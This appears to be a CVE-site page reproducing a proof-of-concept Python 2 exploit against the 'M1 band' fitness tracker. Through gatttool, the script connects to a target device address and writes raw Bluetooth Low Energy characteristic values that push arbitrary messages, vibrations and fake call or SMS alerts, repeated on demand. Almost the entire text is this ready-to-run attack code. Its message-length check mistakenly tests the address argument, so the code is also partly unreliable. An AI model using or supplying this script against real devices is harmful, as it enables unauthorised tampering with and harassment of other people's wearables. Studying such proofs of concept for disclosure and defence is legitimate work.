4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / bandexploit.py PY
#! /usr/bin/python
#!coding=utf-8
#Author : Magass
import pexpect, sys, binascii, time
from optparse import OptionParser

class colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

usage = "usage: %prog [options] Address"
parser=OptionParser(usage=usage)
parser.add_option("-s","--sms",action='store_true',help="Send SMS Notification to the device", default=True)
parser.add_option("-c","--call",action='store_true',help="Send CALL Notification to the device",default=False)
parser.add_option("-r","--repeat",type="int",help="Number of repetitions",default=1)
parser.add_option("-m","--message",type="string",help="Notification message to send. Max_LEN = 8 ",default="Hacked!")

header = """
#   ▄▄▄▄    ▄▄▄       ███▄    █ ▓█████▄    ▓█████ ▒██   ██▒ ██▓███   ██▓     ▒█████   ██▓▄▄▄█████▓
#  ▓█████▄ ▒████▄     ██ ▀█   █ ▒██▀ ██▌   ▓█   ▀ ▒▒ █ █ ▒░▓██░  ██▒▓██▒    ▒██▒  ██▒▓██▒▓  ██▒ ▓▒
#  ▒██▒ ▄██▒██  ▀█▄  ▓██  ▀█ ██▒░██   █▌   ▒███   ░░  █   ░▓██░ ██▓▒▒██░    ▒██░  ██▒▒██▒▒ ▓██░ ▒░
#  ▒██░█▀  ░██▄▄▄▄██ ▓██▒  ▐▌██▒░▓█▄   ▌   ▒▓█  ▄  ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░    ▒██   ██░░██░░ ▓██▓ ░ 
#  ░▓█  ▀█▓ ▓█   ▓██▒▒██░   ▓██░░▒████▓    ░▒████▒▒██▒ ▒██▒▒██▒ ░  ░░██████▒░ ████▓▒░░██░  ▒██▒ ░ 
#  ░▒▓███▀▒ ▒▒   ▓▒█░░ ▒░   ▒ ▒  ▒▒▓  ▒    ░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░  ░░ ▒░▓  ░░ ▒░▒░▒░ ░▓    ▒ ░░   
#  ▒░▒   ░   ▒   ▒▒ ░░ ░░   ░ ▒░ ░ ▒  ▒     ░ ░  ░░░   ░▒ ░░▒ ░     ░ ░ ▒  ░  ░ ▒ ▒░  ▒ ░    ░    
#   ░    ░   ░   ▒      ░   ░ ░  ░ ░  ░       ░    ░    ░  ░░         ░ ░   ░ ░ ░ ▒   ▒ ░  ░      
#   ░            ░  ░         ░    ░          ░  ░ ░    ░               ░  ░    ░ ░   ░           
#        ░                       ░                                                                
"""

second=colors.OKBLUE+"\tM1 band Bluetooth Low Energy exploiter ! Made by "+ colors.FAIL+"xMagass"+colors.ENDC



print header
print second + '\n\n\n'


(options, args) = parser.parse_args()
message=binascii.hexlify(options.message)
if len(args) == 0:
	print colors.FAIL + "\nPlease specify the Device Address!\n"+colors.ENDC
	parser.print_help()
	sys.exit()
if len(args[0]) > 8:
	print colors.FAIL+"\nThe maximum Length of the message is 8!\n"+colors.ENDC
	sys.exit()

try:

	print colors.OKGREEN+"[*] Connection to "+str(args[0])+colors.ENDC +"\n"
	device = pexpect.spawn('gatttool -I')
	device.sendline("connect "+str(args[0]))
	device.expect("Connection successful")
	print colors.OKGREEN+"[+] Connected!"+colors.ENDC +"\n"

	for i in range(options.repeat):

		device.sendline("char-write-req 0x0012 c101"+message) # Message
		device.expect("Characteristic value was written successfully")
		print "Iteration -"+str(i+1)
		print colors.OKGREEN+"[+] Sending Vibration..."+colors.ENDC+'\n'
		device.sendline("char-write-req 0x0012 ab00000001050000") # Notification
		device.expect("Characteristic value was written successfully")
		if options.call:
			print colors.OKGREEN+"[+] Sending Call Notification..."+colors.ENDC +'\n'
			device.sendline("char-write-req 0x0012 c102") #call
		elif options.sms:
			print colors.OKGREEN+"[+] Sending Message Notification..."+colors.ENDC +'\n'
			device.sendline("char-write-req 0x0012 c103") #sms
		time.sleep(0.5)


except KeyboardInterrupt:
	print colors.FAIL+"[-] Stopping..."+colors.ENDC 
	sys.exit(0)
except:
	print colors.FAIL+"[-] Connection error..."+colors.ENDC